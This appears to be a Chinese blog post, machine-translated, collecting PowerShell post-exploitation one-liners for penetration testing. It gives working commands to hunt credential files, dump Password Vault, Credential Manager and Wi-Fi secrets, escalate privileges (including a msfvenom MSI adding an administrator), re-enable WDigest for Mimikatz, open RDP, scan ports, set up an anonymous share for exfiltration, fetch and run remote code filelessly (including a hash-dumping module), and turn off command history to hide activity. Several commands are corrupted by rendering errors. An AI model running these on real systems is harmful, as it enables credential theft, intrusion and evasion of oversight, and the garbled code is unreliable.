22

博客园Logo
首页
新闻
博问
专区
闪存
班级
代码改变世界
搜索
注册
登录
返回主页
Micr067’s blog(hu1ge)
所有过往,皆为序章!
博客园首页新随笔联系管理订阅订阅随笔- 162 文章- 0 评论- 6
powershell渗透-信息收集命令
本文包含从 Internet 的各个角落收集的 PowerShell 命令列表,这些命令在渗透测试或红色团队练习期间可能会有所帮助。

该列表包括各种开发后的单行在纯 PowerShell 不需要任何攻击 (= 可能标记为恶意) 第三方模块, 但也一堆方便的管理命令.

查找包含敏感信息的文件
在开发后阶段,以下 PowerShell 命令可以很方便地查找磁盘上可能包含凭据、配置详细信息和其他敏感信息的文件。

查找可能感兴趣的文件
通过此命令,我们可以根据文件名识别具有潜在敏感数据的文件,如帐户信息、凭据、配置文件等:

gci c:\ -Include pass.txt,pass.xml,pass.ini,pass.xlsx,cred,vnc,.config,accounts -File -Recurse -EA SilentlyContinue
虽然这会产生很多噪音,但也会产生一些非常有趣的结果。

建议对每个磁盘驱动器进行此操作,但您也可以在 c:\用户文件夹上运行它,以便获得一些快速获胜。

在 Sysprep 或未处理文件中查找凭据
此命令将查找自动安装和自动配置的残余,这些残余可能包含纯文本密码或 base64 编码密码:

gci c:\ -Include *sysprep.inf,*sysprep.xml,*sysprep.txt,*unattended.xml,*unattend.xml,*unattend.txt -File -Recurse -EA SilentlyContinue
这是众所周知的特权升级技术之一,因为密码通常是本地管理员密码。

建议对每个磁盘驱动器进行此设置。

查找包含"密码"字符串的配置文件
通过此命令,我们可以找到包含特定模式的文件,例如,这里正在寻找各种文本配置文件中的"密码"模式:

gci c:\ -Include .txt,.xml,.config,.conf,.cfg,.ini -File -Recurse -EA SilentlyContinue | Select-String -Pattern “password”
虽然这会产生很多噪音,但也会产生一些有趣的结果。

建议对每个磁盘驱动器进行此设置。

在配置文件中查找数据库凭据
使用以下 PowerShell 命令,我们可以在各种配置文件(如 Web.config)中查找存储在各种配置文件中的数据库连接字符串(具有纯文本凭据),ASP.NET在 Visual Studio 项目文件中等:

gci c:\ -Include .config,.conf,*.xml -File -Recurse -EA SilentlyContinue | Select-String -Pattern “connectionString”
查找连接字符串,例如对于远程 Microsoft SQL Server,可能会导致远程命令执行 (RCE) 使用 xp_cmdshell 功能(链接、链接、链接等)以及随后的横向移动。

查找 Web 服务器配置文件
通过此命令,我们可以轻松地找到属于 Microsoft IIS、XAMPP、Apache、PHP 或 MySQL 安装的配置文件:

gci c:\ -Include web.config,applicationHost.config,php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -EA SilentlyContinue
这些文件可能包含纯文本密码或其他有趣的信息,可以允许访问其他资源,如数据库,管理接口等。

提取凭据
以下 PowerShell 命令也属于开发后类别,它们可用于在访问 Windows 系统后提取凭据。

从 Windows 密码 Vault 获取存储的密码
使用以下 PowerShell 命令,我们可以从 Windows密码 Vault中提取机密,这是一种用于存储密码和 Web 凭据的 Windows 内置机制,例如用于 Internet 资源管理器、边缘和其他应用程序:

[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { . R e t r i e v e P a s s w o r d ( ) ; _.RetrievePassword(); .RetrievePassword();_ }
Get Stored Passwords from Windows PasswordVault

请注意,保管库通常存储在以下位置,并且只能在当前记录的用户的上下文中检索机密:

C:\用户\\\\\\\\\\\\\\\\
C:\Windows\System32\配置\系统配置文件\应用程序数据\本地\微软\Vault
C:[程序数据]微软[Vault]
有关 Windows 密码 Vault 的更多信息,请参阅此处。

从 Windows 凭据管理器获取存储的密码
Windows 凭据管理器提供了另一种用于存储凭据以登录到网站、登录到远程系统和各种应用程序的机制,它还提供了在 PowerShell 脚本中使用凭据的安全方法。

使用以下单行,我们可以使用凭据管理器从凭据管理器检索所有存储的凭据:

Get-StoredCredential | % { write-host -NoNewLine $.username; write-host -NoNewLine “:” ; p = [ S y s t e m . R u n t i m e . I n t e r o p S e r v i c e s . M a r s h a l ] : : S e c u r e S t r i n g T o B S T R ( p = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR( p=[System.Runtime.InteropServices.Marshal]::SecureStringToBSTR(.password) ; [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($p); }
Get Stored Passwords from Windows Credential Manager

与密码 Vault 类似,凭据存储在单个用户配置文件位置,只有当前记录的用户才能解密其:

C:\用户\\\\\\\\\\\\\\\\\
C:\用户\\\\\\\\\\\\\\\\\
C:\Windows\系统\系统32\配置\系统配置文件\应用程序数据\本地\微软\凭据
从谷歌浏览器转储密码
以下命令从 Google Chrome 浏览器(如果已安装)以及存储任何密码时提取存储的凭据:

同样,这必须在目标(受害者)用户的上下文中执行。

从无线配置文件获取存储的 Wi-Fi 密码
通过此命令,我们可以从 Windows 系统中配置的无线配置文件中提取所有存储的 Wi-Fi 密码(WEP、WPA PSK、WPA2 PSK 等) :

(netsh wlan show profiles) | Select-String "😦.+) " ∣ " | %{ "name=$.Matches.Groups[1].Value.Trim(); KaTeX parse error: Expected group after '_' at position 1: _̲} | %{(netsh wl…name" key=clear)} | Select-String "Key Content\W+:(.+) " ∣ " | %{ "pass=$.Matches.Groups[1].Value.Trim(); KaTeX parse error: Expected group after '_' at position 1: _̲} | %{[PSCustom…name;PASSWORD=$pass }} | Format-Table -AutoSize
请注意,我们必须具有管理权限才能使之有效。

在注册表中搜索 SNMP 社区字符串
以下命令将提取存储在注册表中的 SNMP 社区字符串(如果有) :

gci HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse -EA SilentlyContinue
查找 SNMP 社区字符串不是关键问题,但它可能很有用:

了解组织中系统管理员使用哪种密码模式
执行密码喷涂攻击(假设密码可能在其他地方重新使用)
在注册表中搜索字符串模式
以下 PowerShell 命令将筛选选定的注册表配置单元(HKCR、HKCU、HKLM、HKU 和 HKCC),并递归搜索注册表项名称或数据值中的任何选定模式。在这种情况下,我们正在搜索"密码"模式:

$pattern = “password”
$hives = “HKEY_CLASSES_ROOT”,“HKEY_CURRENT_USER”,“HKEY_LOCAL_MACHINE”,“HKEY_USERS”,“HKEY_CURRENT_CONFIG”

Search in registry keys

foreach ($r in KaTeX parse error: Expected '}', got 'EOF' at end of input: …gci "registry::{r}" -rec -ea SilentlyContinue | sls “$pattern” }

Search in registry values

foreach ($r in KaTeX parse error: Expected '}', got 'EOF' at end of input: …gci "registry::{r}" -rec -ea SilentlyContinue | % { if((gp . P s P a t h − e a S i l e n t l y C o n t i n u e ) − m a t c h " _.PsPath -ea SilentlyContinue) -match " .PsPatheaSilentlyContinue)match"pattern") { $_.PsPath; ∣ o u t − s t r i n g − s t r e a m ∣ s l s " _ | out-string -stream | sls " outstringstreamsls"pattern" }}}
虽然这可能需要很多时间并产生大量噪音,但它肯定会在注册表中找到所选模式的每一次出现。

权限升级
以下各节包含适用于权限升级攻击的 PowerShell 命令 , 适用于我们只有低特权用户访问权限并且我们希望将权限上报给本地管理员的情况。

搜索自动登录凭据的注册表
Windows 系统可以配置为在启动时自动登录,例如在 POS(销售点)系统上使用。通常,这是通过将用户名和密码存储在特定的 Winlogon 注册表位置(以明文显示)来配置的。

以下命令将从注册表获取自动登录凭据:

gp ‘HKLM:\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon’ | select “Default*”
Search registry for auto-logon credentials

检查是否启用了"始终安装提升"
如果以下始终安装提升的注册表项设置为 1,则意味着任何低特权用户可以安装 *.msi 具有 NT 颁发机构\SYSTEM 权限的文件。下面使用 PowerShell 检查:

gp ‘HKCU:\Software\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated
gp ‘HKLM:\Software\Policies\Microsoft\Windows\Installer’ -Name AlwaysInstallElevated
请注意,两个注册表项必须设置为 1 才能正常工作。

MSI安装程序包可以很容易地生成使用msfvenom实用程序从元普洛伊特框架。例如,我们可以把自己添加到管理员组中:

msfvenom -p windows/exec CMD=‘net localgroup administrators joe /add’ -f msi > pkg.msi
查找未引用的服务路径
以下 PowerShell 命令将打印其可执行路径未包含在引号中的服务("):

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq “Auto” -and $.PathName -notlike “C:\Windows*” -and $_.PathName -notlike ‘"*’} | select PathName,DisplayName,Name
这可能导致权限升级,以防可执行路径还包含空格,并且我们对路径中的任何文件夹都有写入权限。

有关此技术的更多详细信息,包括开发步骤,请在这里或此处找到。

检查 Lsass Wdigest 缓存
使用以下命令,我们可以检查系统是否启用了 WDigest 凭据缓存。设置决定了我们是否能够使用Mimikatz 从LSASS 进程内存中提取纯文本凭据。

(gp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest).UseLogonCredential
如果该值设置为 0,则禁用缓存(系统受到保护)
如果不存在或设置为 1,则启用缓存
请注意,如果禁用它,我们仍可以使用以下命令启用它,但我们还必须在之后重新启动系统:

sp registry::HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest -name UseLogonCredential -value 1
SYSVOL 和组策略首选项 (GPP) 中的凭据
在公司 Windows 活动目录环境中,有时可以在组策略中、在 SYSVOL 网络共享中的域控制器上的各种自定义脚本或配置文件中找到凭据。

由于任何经过身份验证的域用户都可以访问 SYSVOL 网络共享,因此我们可以使用以下命令轻松识别是否有任何存储凭据:

Push-Location \example.com\sysvol
gci * -Include .xml,.txt,.bat,.ps1,.psm,.psd -Recurse -EA SilentlyContinue | select-string password
Pop-Location
一个典型的示例是MS14-025,GPP XML 文件中具有 cPassword 属性。"密码"属性可以立即解密为纯文本形式,例如,在 Kali Linux 中使用gpp 解密实用程序。

网络相关命令
下面是一些与网络相关的 PowerShell 命令,这些命令在内部网络渗透测试和类似练习中尤其有用。

从命令行设置 MAC 地址
有时在网络接口上设置 MAC 地址会很有用,使用 PowerShell,我们可以轻松地使用任何第三方实用程序:

Set-NetAdapter -Name “Ethernet0” -MacAddress “00-01-18-57-1B-0D”
这非常有用,例如,当我们测试 NAC(网络访问控制)旁路和其他方面。

允许远程桌面连接
当我们想要使用图形 RDP 会话连接到系统时,此命令三重奏可能很有用,但由于某些原因,未启用它:

Allow RDP connections

(Get-WmiObject -Class “Win32_TerminalServiceSetting” -Namespace root\cimv2\terminalservices).SetAllowTsConnections(1)

Disable NLA

(Get-WmiObject -class “Win32_TSGeneralSetting” -Namespace root\cimv2\terminalservices -Filter “TerminalName=‘RDP-tcp’”).SetUserAuthenticationRequired(0)

Allow RDP on the firewall

Get-NetFirewallRule -DisplayGroup “Remote Desktop” | Set-NetFirewallRule -Enabled True
现在端口 tcp/3389 应该是开放的,我们应该能够连接没有问题,例如通过使用来自 Kali Linux 的 xfreerdp 或 rdesktop 工具。

使用大容量 DNS 反向查找的主机发现
使用此命令,我们可以在 10.10.1.0/24 子网上执行快速反向 DNS 查找,并查看是否有任何可解析(可能处于活动状态)主机:

KaTeX parse error: Expected '}', got 'EOF' at end of input: …255 | foreach {r=(Resolve-DNSname -ErrorAction SilentlyContinue n e t net net_ | ft NameHost -HideTableHeaders | Out-String).trim().replace("\s+","").replace(“r","").replace("n”," "); Write-Output “ n e t net net_ $r”} | tee ip_hostname.txt
然后,结果将保存在ip_hostname.txt目录中的日志文件中。

有时,这可能比 pingsweep 或类似技术更快、更隐蔽。

端口扫描主机以寻找有趣的端口
下面了解如何快速移植扫描所选 39 个有趣端口的指定 IP 地址 (10.10.15.232):

$ports = “21 22 23 25 53 80 88 111 139 389 443 445 873 1099 1433 1521 1723 2049 2100 2121 3299 3306 3389 3632 4369 5038 5060 5432 5555 5900 5985 6000 6379 6667 8000 8080 8443 9200 27017”
$ip = “10.10.15.232”
p o r t s . s p l i t ( " " ) ∣ ports.split(" ") | % {echo ((new-object Net.Sockets.TcpClient).Connect( ports.split("")ip,$)) "Port $ is open on KaTeX parse error: Expected 'EOF', got '}' at position 4: ip"}̲ 2>null
这将让我们快速了解网络上的特定主机,使用纯 PowerShell:

Port scan an IP address for interesting ports with PowerShell TcpClient

端口扫描单个端口的网络(端口扫描)
这对于在指定的网络 C 类子网 (10.10.0.0/24) 上快速发现 SSH 接口 (端口 tcp/22) 非常有用:

$port = 22
KaTeX parse error: Expected '}', got 'EOF' at end of input: …lient).Connect(net+ , _, ,port)) “Port $port is open on n e t net net_”} 2>$null
如果您尝试只识别 Windows 系统,只需将端口更改为 445。

创建来宾 SMB 共享驱动器
下面是一个很酷的技巧,可以快速启动任何人都可以访问的 SMB (CIFS) 网络共享驱动器:

new-item “c:\users\public\share” -itemtype directory
New-SmbShare -Name “sharedir” -Path “C:\users\public\share” -FullAccess “Everyone”,“Guests”,“Anonymous Logon”
若要在之后停止它,请执行:

Remove-SmbShare -Name “sharedir” -Force
这可以派上用场传输文件,渗出等。

在 Windows 防火墙中白列出 IP 地址
下面是将 Windows 防火墙中的 IP 地址列入白名单的有用命令:

New-NetFirewallRule -Action Allow -DisplayName “pentest” -RemoteAddress 10.10.15.123
现在,我们应该能够从每个端口上的 IP 地址 (10.10.15.123) 连接到此主机。

完成业务后,删除以下规则:

Remove-NetFirewallRule -DisplayName “pentest”
其他有用的命令
以下命令可用于执行各种管理任务、收集有关系统的信息或使用在笔测试期间可能有用的其他 PowerShell 功能。

无文件下载和执行
使用这个微小的 PowerShell 命令,我们可以轻松地下载和执行远程托管的任意 PowerShell 代码 - 无论是我们自己的机器还是 Internet 上:

iex(iwr(“https://URL”))
iwr = 调用 - Web 请求
iex = 调用表达式
远程内容将下载和加载,而无需接触磁盘(无文件)。现在,我们可以运行它。

我们可以将它用于任何数量的流行攻击模块,例如:

https://github.com/samratashok/nishang
https://github.com/PowerShellMafia/PowerSploit
https://github.com/FuzzySecurity/PowerShell-Suite
https://github.com/EmpireProject/Empire(此处的模块)
下面是使用 nishang Get-Passhashes 模块转储本地密码哈希 (hashdump) 的示例:

iex(iwr(“https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1”));Get-PassHashes
很容易, 但请注意, 这很可能由任何体面的 AV 或 Edr 标记。

在这种情况下,您可以这样做,您可以混淆要使用的模块,并自己托管它们。

获取当前用户的 SID
以下命令将返回当前用户的 SID 值:

([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
检查我们运行是否具有提升(管理员)权限
下面是一个快速的单行,用于检查我们是否正在运行具有管理员权限的提升 PowerShell 会话:

If (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] “Administrator”)) { echo “yes”; } else { echo “no”; }
禁用 PowerShell 命令日志记录
默认情况下,PowerShell 会自动在历史记录文件中记录多达 4096 个命令,与 Bash 在 Linux 上记录的命令类似。

PowerShell 历史记录文件是位于以下位置的每个用户配置文件中的纯文本文件:

C:\用户\\\\\\\\\\\\\\\\\ConsoleHost_history.txt\\\\\\\\
通过以下命令,我们可以在当前 shell 会话中禁用 PowerShell 命令日志记录功能:

Set-PSReadlineOption –HistorySaveStyle SaveNothing

Remove-Module PSReadline
如果我们想要最大限度地减少我们在系统中的足迹,这在红色团队练习中非常有用。

从现在起,PowerShell 历史记录文件中将不记录任何命令。但是请注意,上述命令仍将在历史记录文件中回显,因此请注意,这不是完全隐蔽的。

列出已安装的防病毒 (AV) 产品
下面是一个简单的 PowerShell 命令,用于查询安全中心并识别此计算机上的所有已安装的防病毒产品:

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct
Identify currently installed antivirus product

通过解码产品状态值,我们可以确定当前启用了哪些 AV(如果安装了多个 AV)、签名是否为最新,甚至启用了哪些 AV 功能和扫描引擎(例如实时保护、反间谍软件、自动更新等)。

然而,这是一个相当深奥的话题,没有一个简单的解决方案。以下是有关该主题的一些链接:

https://mspscripts.com/get-installed-antivirus-information-2/
https://jdhitsolutions.com/blog/powershell/5187/get-antivirus-product-status-with-powershell/
https://stackoverflow.com/questions/4700897/wmi-security-center-productstate-clarification/4711211
https://docs.microsoft.com/en-us/windows/win32/api/iwscapi/ne-iwscapi-wsc_security_product_state
https://social.msdn.microsoft.com/Forums/pt-BR/6501b87e-dda4-4838-93c3-244daa355d7c/wmisecuritycenter2-productstate
分类: 域渗透, 内网渗透
好文要顶 关注我 收藏该文
hu1ge(micr067)
关注 - 2
粉丝 - 15
+加关注
00
« 上一篇: Apache Kylin远程代码执行漏洞复现(CVE-2020-1956)
posted @ 2020-11-14 16:50 hu1ge(micr067) 阅读(66) 评论(0) 编辑 收藏
刷新评论刷新页面返回顶部
登录后才能发表评论,立即 登录 或 注册, 访问 网站首页
博客园派送云上免费午餐,AWS注册立享12个月免费套餐
【推荐】News: 大型组态、工控、仿真、CADGIS 50万行VC++源码免费下载
【推荐】博客园 & 陌上花开HIMMR 给单身的程序员小哥哥助力脱单啦~
【推荐】了不起的开发者,挡不住的华为,园子里的品牌专区
【推荐】未知数的距离,毫秒间的传递,声网与你实时互动
【福利】AWS携手博客园为开发者送免费套餐与抵扣券
【推荐】 阿里云折扣价格返场,错过再等一年

相关博文:
· VimonWin10PowerShell
· Powershell&TFS_Part1
· PowerShell美化
· PowerShell-6.文件操作
· Powershell基础学习
» 更多推荐…
声网专区
最新 IT 新闻:
· 手残党福音:不会摘隐形眼镜?这个机器人可以帮你
· 我是如何被职场PUA毁掉的?
· 唯品会的去库存生意,还能玩多久?
· 美团“特价版”横空出世,王兴打响守城之战
· 马斯克终结美国载人航天的“寄俄篱下”
» 更多新闻…
昵称: hu1ge(micr067)
园龄: 1年8个月
粉丝: 15
关注: 2
+加关注
< 2020年11月 >
日 一 二 三 四 五 六
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 1 2 3 4 5
6 7 8 9 10 11 12
搜索

常用链接
我的随笔
我的评论
我的参与
最新评论
我的标签
我的标签
威胁建模(1)
随笔分类
APP 测试(2)
Cobalt Strike(3)
powershell(10)
Web 安全(10)
靶机渗透(11)
代码审计(7)
电子取证(3)
缓冲区溢出(2)
漏洞复现(5)
内网渗透(36)
其他杂类(16)
神兵利器(8)
无线渗透(4)
物理渗透(1)
应急响应(1)
域渗透(19)
随笔档案
2020年11月(3)
2020年10月(1)
2020年9月(2)
2020年8月(3)
2020年7月(4)
2020年6月(5)
2020年5月(9)
2020年4月(8)
2020年3月(6)
2020年2月(23)
2020年1月(1)
2019年12月(1)
2019年11月(2)
2019年10月(10)
2019年9月(9)
2019年8月(38)
2019年7月(1)
2019年6月(1)
2019年5月(1)
2019年4月(2)
2019年3月(32)
最新评论

  1. Re:绕过PowerShell执行策略方法总结
    谢谢分享

–克里斯啊
2. Re:vulnhub-XXE靶机渗透
最后读出来的是base64编码后的,应该先解码,创建php文件内容插入<?php ?>中,才会有报错。我使用xampp报错结果没有flag,使用phpstudy报错结果有flag。…
–啥“helloworld”
3. Re:FourAndSix2 靶机渗透
@ Pur3看一下破解脚本怎么写的,或者可以试一下其他破解工具,我之前用是好使的…
–Micr067
4. Re:FourAndSix2 靶机渗透
解压过了,/usr/share/wordlists下有rockyou.txt呢
–Pur3
5. Re:FourAndSix2 靶机渗透
@ Pur3rockyou.tar.gz应该没解压,看一下/usr/share/wordlists/rockyou.txt文件是否存在。…
–Micr067
阅读排行榜

  1. 安卓模拟器配置全局代理(4009)
  2. Cobalt_Strike扩展插件(1982)
  3. cve_2019_0708_bluekeep复现采坑(1691)
  4. KALI美化-设置CONKY开机启动(1496)
  5. Weblogic任意文件上传漏洞(CVE-2018-2894)复现(1144)
    评论排行榜
  6. FourAndSix2 靶机渗透(4)
  7. 绕过PowerShell执行策略方法(1)
  8. vulnhub-XXE靶机渗透(1)
    推荐排行榜
  9. ssh隧道使用(2)
  10. FourAndSix2 靶机渗透(2)
  11. Empire – PowerShell 后渗透攻击框架(2)
  12. powershell代码混淆绕过(1)
  13. 绕过PowerShell执行策略方法(1)
    Copyright © 2020 hu1ge(micr067)
    Powered by .NET 5.0.0 on Kubernetes
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值